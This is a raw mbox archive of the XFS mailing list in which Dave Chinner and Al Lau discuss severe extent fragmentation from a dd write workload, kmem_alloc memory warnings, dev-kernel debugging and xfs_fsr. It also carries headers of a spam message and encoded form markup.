VCIgaWQ9InNzLWZvcm0iIHRhcmdldD0iX3NlbGYiIG9uc3VibWl0PSIiIHN0eWxlPSIiPjxvbCBy b2xlPSJsaXN0IiBjbGFzcz0ic3MtcXVlc3Rpb24tbGlzdCIgc3R5bGU9InBhZGRpbmctbGVmdDog MGxpc3Qtc3R5bGUtdHlwZTpub25lOyI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkcmFm dFJlc3BvbnNlIiB2YWx1ZT0iWywsJnF1b3Q7LTUxMTYyOTYyNDUxMDQ1OTg4NDQmcXVvdDtdCiIg c3R5bGU9IiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhZ2VIaXN0b3J5IiB2YWx1ZT0i MCIgc3R5bGU9IiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdnYiIHZhbHVlPSIwIiBz dHlsZT0iIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNwIiB2YWx1ZT0ibWFpbF9mb3Jt X3N1Ym1pdCIgc3R5bGU9IiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmYnp4IiB2YWx1 ZT0iLTUxMTYyOTYyNDUxMDQ1OTg4NDQiIHN0eWxlPSIiPgoKPGRpdiBjbGFzcz0ic3MtaXRlbSBz cy1uYXZpZ2F0ZSIgc3R5bGU9Im1hcmdpbjoxMnB4IDA7Ij48dGFibGUgaWQ9Im5hdmlnYXRpb24t dGFibGUiIHN0eWxlPSIiPjx0Ym9keT48dHI+PHRkIGNsYXNzPSJzcy1mb3JtLWVudHJ5IGdvb2ct aW5saW5lLWJsb2NrIiBpZD0ibmF2aWdhdGlvbi1idXR0b25zIiBkaXI9Imx0ciIgc3R5bGU9Im1h cmdpbi1ib3R0b206MS41ZW07dmVydGljYWwtYWxpZ246bWlkZGxlO21hcmdpbi1sZWZ0OjA7bWFy Z2luLXRvcDowO21heC13aWR0aDoxMDAlO3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5l LWJsb2NrOyI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9Iszhvbsi IGlkPSJzcy1zdWJtaXQiIGNsYXNzPSJqZmstYnV0dG9uIGpmay1idXR0b24tYWN0aW9uICIgc3R5 bGU9IiI+CjwvdGQ+CjwvdHI+PC90Ym9keT48L3RhYmxlPjwvZGl2Pjwvb2w+PC9mb3JtPjwvZGl2 Pgo8ZGl2IGNsYXNzPSJzcy1mb290ZXIiIHN0eWxlPSIiPjxkaXYgY2xhc3M9InNzLWF0dHJpYnV0 aW9uIiBzdHlsZT0iIj48L2Rpdj4KPGRpdiBjbGFzcz0ic3MtbGVnYWwiIHN0eWxlPSIiPjxkaXYg Y2xhc3M9ImRpc2NsYWltZXItc2VwYXJhdG9yIiBzdHlsZT0iIj48L2Rpdj4KPGRpdiBjbGFzcz0i ZGlzY2xhaW1lciIgZGlyPSJsdHIiIHN0eWxlPSIiPjxkaXYgY2xhc3M9InBvd2VyZWQtYnktbG9n byIgc3R5bGU9Im1hcmdpbi10b3A6MmVtOyI+PHNwYW4gY2xhc3M9InBvd2VyZWQtYnktdGV4dCIg c3R5bGU9IiI+vLzK9czhuamjujwvc3Bhbj4KPGEgaHJlZj0iaHR0cHM6Ly93d3cuZ29vZ2xlLmNv bS9mb3Jtcy9hYm91dC8/dXRtX3NvdXJjZT1wcm9kdWN0JmFtcDt1dG1fbWVkaXVtPWZvcm1zX2xv Z28mYW1wO3V0bV9jYW1wYWlnbj1mb3JtcyIgc3R5bGU9IiI+PGRpdiBjbGFzcz0ic3MtbG9nby1j b250YWluZXIiIHN0eWxlPSIiPjxpbWcgc3JjPSJodHRwczovL3NzbC5nc3RhdGljLmNvbS9kb2Nz L2Zvcm1zL2Zvcm1zX2xvZ29fMl9zbWFsbF9kYXJrLnBuZyIgYWx0PSJHb29nbGUgse21pSIgc3R5 bGU9IiI+PC9kaXY+PC9hPjwvZGl2Pgo8ZGl2IGNsYXNzPSJzcy10ZXJtcyIgc3R5bGU9ImNvbG9y OiM3Nzc7Zm9udC1zaXplOjExcHg7bWFyZ2luLXRvcDoxLjVlbTsiPjxzcGFuIGNsYXNzPSJkaXNj bGFpbWVyLW1zZyIgc3R5bGU9IiI+tMvE2sjdsrvKx9PJIEdvb2dsZSDL+bS0vaijrEdvb2dsZSCy u7bUxuTX98jOus61o7GjoaM8L3NwYW4+Cjxicj4KPGEgaHJlZj0iaHR0cHM6Ly9kb2NzLmdvb2ds ZS5jb20vZm9ybXMvZC8xWk1KMUIybU8tNkpPM1g5cUJMYl9jWkVBTnlZaGVQcHZVd2JSQmpQWVBP US9yZXBvcnRhYnVzZT9zb3VyY2U9aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vZm9ybXMvZC8xWk1K MUIybU8tNkpPM1g5cUJMYl9jWkVBTnlZaGVQcHZVd2JSQmpQWVBPUS92aWV3Zm9ybT9zaWQlM0Q5 ZTljMTM2NGM5Y2VjMGMlMjZjJTNEMCUyNnclM0QxJTI2dG9rZW4lM0R5QlZUWDFBQkFBQS5weE9I U0t5NjBxcFZ3cFNOUDh6a3JRLmQzeTNtdlgtWmdVVnhGaFROajhBRmciIHN0eWxlPSIiPr7ZsajA xNPD0NDOqjwvYT4KLQo8YSBocmVmPSJodHRwOi8vd3d3Lmdvb2dsZS5jb20vYWNjb3VudHMvVE9T IiBzdHlsZT0iIj63/s7xzPW/7jwvYT4KLQo8YSBocmVmPSJodHRwOi8vd3d3Lmdvb2dsZS5jb20v Z29vZ2xlLWQtcy90ZXJtcy5odG1sIiBzdHlsZT0iIj7G5Mv7zPW/7jwvYT48L2Rpdj48L2Rpdj48 L2Rpdj48L2Rpdj4KPC9kaXY+PC9kaXY+Cjxicj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIiBtZWRp YT0ic2NyZWVuIiBzdHlsZT0iIj48L3N0eWxlPjwvZGl2PjwvYm9keT48L2h0bWw+ --047d7bdc17542065470521f3876e-- From david@fromorbit.com Mon Oct 12 22:33:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4C5167F37 for ; Mon, 12 Oct 2015 22:33:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1C00D304048 for ; Mon, 12 Oct 2015 20:33:09 -0700 (PDT) X-ASG-Debug-ID: 1444707185-04bdf020dce53d0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id nVQNlTtOiGlBsQMm for ; Mon, 12 Oct 2015 20:33:06 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CnCgAfehxWPCSkLHldgyaBQoZbok0BAQEBAQEGix2LJIMTggp5BAICgThNAQEBAQEBBwEBAQFBP4QnAQEEOhwjEAgDGAklDwUlAwcaE4gtwEEBAQEHAgEfGYYThUWFDQeELgWWFI0SiFqGGo0XhHkqM4ZxAQEB Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 14:03:05 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlqKm-0000ro-Je; Tue, 13 Oct 2015 14:33:04 +1100 Date: Tue, 13 Oct 2015 14:33:04 +1100 From: Dave Chinner To: "Al Lau (alau2)" Cc: "xfs@oss.sgi.com" Subject: Re: mkfs.xfs -n size=65536 Message-ID: <20151013033304.GL27164@dastard> X-ASG-Orig-Subj: Re: mkfs.xfs -n size=65536 References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444707185 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 BSF_SC5_SA210e Custom Rule SA210e On Tue, Oct 13, 2015 at 01:39:13AM +0000, Al Lau (alau2) wrote: > Have a 3 TB file. Logically divide into 1024 sections. Each > section has a process doing dd to a randomly selected 4K block in > a loop. Will this test case eventually cause the extent > fragmentation that lead to the kmem_alloc message? > > dd if=/var/kmem_alloc/junk of=/var/kmem_alloc/fragmented obs=4096 bs=4096 count=1 seek=604885543 conv=fsync,notrunc oflag=direct If you were loking for a recipe to massively fragment a file, then you found it. And, yes, when you start to get millions of extents in a file such as this workload will cause, you'll start having memory allocation problems. But I don't think that sets the GFP_ZERO flag anywhere, so that's not necessarily where the memroy shortage is coming from. I just committed some changes to the dev tree that allow for more detailed information from this allocation error point to be obtained - perhaps if woul dbe worthwhile trying a kernel build form the current for-next tree and turning the error level up to 11? Cheers, Dave. -- Dave Chinner david@fromorbit.com From www-data@credit-agricole.fr Mon Oct 12 22:34:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,TVD_SPACE_RATIO autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 33FEC7F37 for ; Mon, 12 Oct 2015 22:34:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4E41AC005 for ; Mon, 12 Oct 2015 20:34:24 -0700 (PDT) X-ASG-Debug-ID: 1444707259-04bdf020dde54d0001-NocioJ Received: from credit-agricole.fr ([149.202.175.40]) by cuda.sgi.com with ESMTP id 0yNqC8LwHLNUd3vV for ; Mon, 12 Oct 2015 20:34:20 -0700 (PDT) X-Barracuda-Envelope-From: www-data@credit-agricole.fr X-Barracuda-Apparent-Source-IP: 149.202.175.40 Received: by credit-agricole.fr (Postfix, from userid 33) id DC84D2780B; Tue, 13 Oct 2015 03:31:59 +0000 (UTC) Date: Tue, 13 Oct 2015 03:31:59 +0000 To: xfs@oss.sgi.com From: =?utf-8?Q?=c3=9eay=c3=9eal=2e?= Subject: =?utf-8?Q?Warning=2e=2e=2e=21=21?= Message-ID: <2a1a4ea11a36616d91b0e64a7481e3d3@149.202.175.40> X-ASG-Orig-Subj: =?utf-8?Q?Warning=2e=2e=2e=21=21?= MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: UNKNOWN[149.202.175.40] X-Barracuda-Start-Time: 1444707260 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.65 X-Barracuda-Spam-Status: No, SCORE=1.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963

From alau2@cisco.com Mon Oct 12 22:42:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BECA87F37 for ; Mon, 12 Oct 2015 22:42:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 38FF6AC004 for ; Mon, 12 Oct 2015 20:42:17 -0700 (PDT) X-ASG-Debug-ID: 1444707735-04cb6c578aef1f0001-NocioJ Received: from rcdn-iport-7.cisco.com (rcdn-iport-7.cisco.com [173.37.86.78]) by cuda.sgi.com with ESMTP id PqwJf8Of2gjrGIHC (version=TLSv1 cipher=IDEA-CBC-SHA bits=128 verify=NO) for ; Mon, 12 Oct 2015 20:42:15 -0700 (PDT) X-Barracuda-Envelope-From: alau2@cisco.com X-Barracuda-Apparent-Source-IP: 173.37.86.78 X-ASG-Whitelist: EmailCat (corporate) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=1631; q=dns/txt; s=iport; t=1444707736; x=1445917336; h=from:to:cc:subject:date:message-id:references: in-reply-to:content-transfer-encoding:mime-version; bh=BwdYva1XM1xkg8scf2EI+hxpHldJ3j4UWNLOdJ5Pn80=; b=iSjPKgB9H9h+ljwT9NOJ8+E2LjFqc9jSAt6br6YhRBuF51o7HNfIUywg 0LnnQ29FXItTZ4NZuOt4sb975DIeM9hnK4LLx1vTvzB8fBF02QkBH3Z2m KQBc4WngI2bdoXIc1Nr/5QeSAhHY1p5evyrgHd8uqG17wEkPGx314Gmgd c=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A0CoAgDMfBxW/4sNJK1dgyZUbga+BwENgVoZgnqCCn8CgTk4FAEBAQEBAQGBCoQmAQEBBDo/DAQCAQgOAwQBAQEeCQcyFAkIAQEEDgUIiCbAQgEBAQEBAQEBAQEBAQEBAQEBAQEBAReLcYUNBwaEKAWWFAGFGId6gV+GeoYaiSiDbgEfAQFChAJxhWuBBgEBAQ X-IronPort-AV: E=Sophos;i="5.17,676,1437436800"; d="scan'208";a="35125383" Received: from alln-core-6.cisco.com ([173.36.13.139]) by rcdn-iport-7.cisco.com with ESMTP; 13 Oct 2015 03:42:15 +0000 Received: from XCH-ALN-016.cisco.com (xch-aln-016.cisco.com [173.36.7.26]) by alln-core-6.cisco.com (8.14.5/8.14.5) with ESMTP id t9D3gF8c021273 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 03:42:15 GMT Received: from xch-aln-020.cisco.com (173.36.7.30) by XCH-ALN-016.cisco.com (173.36.7.26) with Microsoft SMTP Server (TLS) id 15.0.1104.5; Mon, 12 Oct 2015 22:42:02 -0500 Received: from xch-aln-020.cisco.com ([173.36.7.30]) by XCH-ALN-020.cisco.com ([173.36.7.30]) with mapi id 15.00.1104.000; Mon, 12 Oct 2015 22:42:01 -0500 From: "Al Lau (alau2)" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: mkfs.xfs -n size=65536 Thread-Topic: mkfs.xfs -n size=65536 X-ASG-Orig-Subj: RE: mkfs.xfs -n size=65536 Thread-Index: AdEC1680Gy4Y381SQNu4wXlh8fvUqwCn49kAAAhmBND///HgAIAAUclg Date: Tue, 13 Oct 2015 03:42:01 +0000 Message-ID: <4b186a62d5f64c4fbbbe25e1bf4b6883@XCH-ALN-020.cisco.com> References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> <20151013033304.GL27164@dastard> In-Reply-To: <20151013033304.GL27164@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-ms-exchange-transport-fromentityheader: Hosted x-originating-ip: [10.128.10.52] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: rcdn-iport-7.cisco.com[173.37.86.78] X-Barracuda-Start-Time: 1444707735 X-Barracuda-Encrypted: IDEA-CBC-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi Dave, I can try the dev kernel with your change. How do I go about getting the n= ew bits? # uname -a=20 Linux abc.company.com 3.10.0-229.1.2.el7.x86_64 #1 SMP Fri Mar 6 17:12:08 E= ST 2015 x86_64 x86_64 x86_64 GNU/Linux Thanks, -Al -----Original Message----- From: Dave Chinner [mailto:david@fromorbit.com]=20 Sent: Monday, October 12, 2015 8:33 PM To: Al Lau (alau2) Cc: xfs@oss.sgi.com Subject: Re: mkfs.xfs -n size=3D65536 On Tue, Oct 13, 2015 at 01:39:13AM +0000, Al Lau (alau2) wrote: > Have a 3 TB file. Logically divide into 1024 sections. Each section=20 > has a process doing dd to a randomly selected 4K block in a loop. =20 > Will this test case eventually cause the extent fragmentation that=20 > lead to the kmem_alloc message? >=20 > dd if=3D/var/kmem_alloc/junk of=3D/var/kmem_alloc/fragmented obs=3D4096=20 > bs=3D4096 count=3D1 seek=3D604885543 conv=3Dfsync,notrunc oflag=3Ddirect If you were loking for a recipe to massively fragment a file, then you foun= d it. And, yes, when you start to get millions of extents in a file such as= this workload will cause, you'll start having memory allocation problems. But I don't think that sets the GFP_ZERO flag anywhere, so that's not neces= sarily where the memroy shortage is coming from. I just committed some chan= ges to the dev tree that allow for more detailed information from this allo= cation error point to be obtained - perhaps if woul dbe worthwhile trying a= kernel build form the current for-next tree and turning the error level up= to 11? Cheers, Dave. -- Dave Chinner david@fromorbit.com From alau2@cisco.com Mon Oct 12 22:55:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E6C0C7F37 for ; Mon, 12 Oct 2015 22:55:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 72CD0AC004 for ; Mon, 12 Oct 2015 20:55:46 -0700 (PDT) X-ASG-Debug-ID: 1444708541-04bdf020dbe60a0001-NocioJ Received: from rcdn-iport-1.cisco.com (rcdn-iport-1.cisco.com [173.37.86.72]) by cuda.sgi.com with ESMTP id Bc2KNYYEBSN9vseZ (version=TLSv1 cipher=IDEA-CBC-SHA bits=128 verify=NO) for ; Mon, 12 Oct 2015 20:55:42 -0700 (PDT) X-Barracuda-Envelope-From: alau2@cisco.com X-Barracuda-Apparent-Source-IP: 173.37.86.72 X-ASG-Whitelist: EmailCat (corporate) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=1514; q=dns/txt; s=iport; t=1444708545; x=1445918145; h=from:to:cc:subject:date:message-id:references: in-reply-to:content-transfer-encoding:mime-version; bh=R1a1J7F+aJor9glwjmSqkKRKgKy/uPjIpR9i0/++9T0=; b=WKqFOI0MkP0Jl6U67WECN/n4MLwKnxWjmQkBwJsbbD6zll3HXJ41/kds 94rj2EtODa5pYQ/6wBwRpBfWtj2DHKCtSTBmlcarDQq2W8D5Nl/L2L4Q+ Z8x76hxFMil/JnFDq0xJPVCz6W5gdKcWUPxI59fHyaiWQkcBeGQlat961 Q=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A0CnAgDyfxxW/4wNJK1dgyaBQga+BwENgVqDE4IKfwKBOTgUAQEBAQEBAYEKhCYBAQEEOj8MBAIBCA4DBAEBAR4JBzIUCQgBAQQOBQiIJsBBAQEBAQEBAQEBAQEBAQEBAQEBAQEBF4txhQ0HBoQoBZYUAY0SiFmGGo0WAR8BAUKEAnGFa4EGAQEB X-IronPort-AV: E=Sophos;i="5.17,676,1437436800"; d="scan'208";a="40842263" Received: from alln-core-7.cisco.com ([173.36.13.140]) by rcdn-iport-1.cisco.com with ESMTP/TLS/DHE-RSA-AES256-SHA; 13 Oct 2015 03:55:41 +0000 Received: from XCH-ALN-017.cisco.com (xch-aln-017.cisco.com [173.36.7.27]) by alln-core-7.cisco.com (8.14.5/8.14.5) with ESMTP id t9D3tf6f030234 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 03:55:41 GMT Received: from xch-aln-020.cisco.com (173.36.7.30) by XCH-ALN-017.cisco.com (173.36.7.27) with Microsoft SMTP Server (TLS) id 15.0.1104.5; Mon, 12 Oct 2015 22:55:26 -0500 Received: from xch-aln-020.cisco.com ([173.36.7.30]) by XCH-ALN-020.cisco.com ([173.36.7.30]) with mapi id 15.00.1104.000; Mon, 12 Oct 2015 22:55:26 -0500 From: "Al Lau (alau2)" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: mkfs.xfs -n size=65536 Thread-Topic: mkfs.xfs -n size=65536 X-ASG-Orig-Subj: RE: mkfs.xfs -n size=65536 Thread-Index: AdEC1680Gy4Y381SQNu4wXlh8fvUqwCn49kAAAhmBND///HgAIAAThiA Date: Tue, 13 Oct 2015 03:55:26 +0000 Message-ID: References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> <20151013033304.GL27164@dastard> In-Reply-To: <20151013033304.GL27164@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-ms-exchange-transport-fromentityheader: Hosted x-originating-ip: [10.128.10.52] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: rcdn-iport-1.cisco.com[173.37.86.72] X-Barracuda-Start-Time: 1444708542 X-Barracuda-Encrypted: IDEA-CBC-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 To remedy the fragmented files in our production systems, can I run the xfs= _fsr utility to de-fragment the files? Thanks, -Al -----Original Message----- From: Dave Chinner [mailto:david@fromorbit.com]=20 Sent: Monday, October 12, 2015 8:33 PM To: Al Lau (alau2) Cc: xfs@oss.sgi.com Subject: Re: mkfs.xfs -n size=3D65536 On Tue, Oct 13, 2015 at 01:39:13AM +0000, Al Lau (alau2) wrote: > Have a 3 TB file. Logically divide into 1024 sections. Each section=20 > has a process doing dd to a randomly selected 4K block in a loop. =20 > Will this test case eventually cause the extent fragmentation that=20 > lead to the kmem_alloc message? >=20 > dd if=3D/var/kmem_alloc/junk of=3D/var/kmem_alloc/fragmented obs=3D4096=20 > bs=3D4096 count=3D1 seek=3D604885543 conv=3Dfsync,notrunc oflag=3Ddirect If you were loking for a recipe to massively fragment a file, then you foun= d it. And, yes, when you start to get millions of extents in a file such as= this workload will cause, you'll start having memory allocation problems. But I don't think that sets the GFP_ZERO flag anywhere, so that's not neces= sarily where the memroy shortage is coming from. I just committed some chan= ges to the dev tree that allow for more detailed information from this allo= cation error point to be obtained - perhaps if woul dbe worthwhile trying a= kernel build form the current for-next tree and turning the error level up= to 11? Cheers, Dave. -- Dave Chinner david@fromorbit.com From alau2@cisco.com Mon Oct 12 23:05:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8DFD87F37 for ; Mon, 12 Oct 2015 23:05:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7B0C8304048 for ; Mon, 12 Oct 2015 21:05:11 -0700 (PDT) X-ASG-Debug-ID: 1444709109-04cb6c578af0030001-NocioJ Received: from alln-iport-2.cisco.com (alln-iport-2.cisco.com [173.37.142.89]) by cuda.sgi.com with ESMTP id OEf9YCahAYEC8AfL (version=TLSv1 cipher=IDEA-CBC-SHA bits=128 verify=NO) for ; Mon, 12 Oct 2015 21:05:09 -0700 (PDT) X-Barracuda-Envelope-From: alau2@cisco.com X-Barracuda-Apparent-Source-IP: 173.37.142.89 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=1792; q=dns/txt; s=iport; t=1444709110; x=1445918710; h=from:to:cc:subject:date:message-id:references: in-reply-to:content-transfer-encoding:mime-version; bh=o3bND3QJRh59FddVPt5sHS/xjPcYevSgKTWgmWhiMio=; b=LRWetUJvQ0itRhrT8Gj2WL06uWh4TxIv0FAqumGGv/y/nlikAnuelRgV X1miCNOhb3L6RZF2BXsdgdk1WvzClfo5PEIVjGtvktUmsT/RomwCjTmz0 bdZDUBRRleeUie9PhqsBmp2d3/Ot2EEsD+Fd5cR3iAHH5VTNKWf7RLM/C 4=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A0C2AgC/ghxW/4cNJK1dgyaBQga+CgENgVqDE4IKfwKBNjgUAQEBAQEBAYEKhCYBAQEEOj8MBAIBCA4DBAEBAR4JBzIUCQgBAQQOBQiIJsBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBF4tzhQ0HBoQoBZYVAY0SiFmGGo0YAR8BAUKEAnGFa4EGAQEB X-IronPort-AV: E=Sophos;i="5.17,676,1437436800"; d="scan'208";a="196225591" Received: from alln-core-2.cisco.com ([173.36.13.135]) by alln-iport-2.cisco.com with ESMTP; 13 Oct 2015 04:05:00 +0000 Received: from XCH-ALN-020.cisco.com (xch-aln-020.cisco.com [173.36.7.30]) by alln-core-2.cisco.com (8.14.5/8.14.5) with ESMTP id t9D4503o023968 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 04:05:00 GMT Received: from xch-aln-020.cisco.com (173.36.7.30) by XCH-ALN-020.cisco.com (173.36.7.30) with Microsoft SMTP Server (TLS) id 15.0.1104.5; Mon, 12 Oct 2015 23:04:47 -0500 Received: from xch-aln-020.cisco.com ([173.36.7.30]) by XCH-ALN-020.cisco.com ([173.36.7.30]) with mapi id 15.00.1104.000; Mon, 12 Oct 2015 23:04:47 -0500 From: "Al Lau (alau2)" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: mkfs.xfs -n size=65536 Thread-Topic: mkfs.xfs -n size=65536 X-ASG-Orig-Subj: RE: mkfs.xfs -n size=65536 Thread-Index: AdEC1680Gy4Y381SQNu4wXlh8fvUqwCn49kAAAhmBND///HgAIAAS+2w Date: Tue, 13 Oct 2015 04:04:47 +0000 Message-ID: References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> <20151013033304.GL27164@dastard> In-Reply-To: <20151013033304.GL27164@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-ms-exchange-transport-fromentityheader: Hosted x-originating-ip: [10.128.10.52] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: alln-iport-2.cisco.com[173.37.142.89] X-Barracuda-Start-Time: 1444709109 X-Barracuda-Encrypted: IDEA-CBC-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED, THREAD_INDEX, 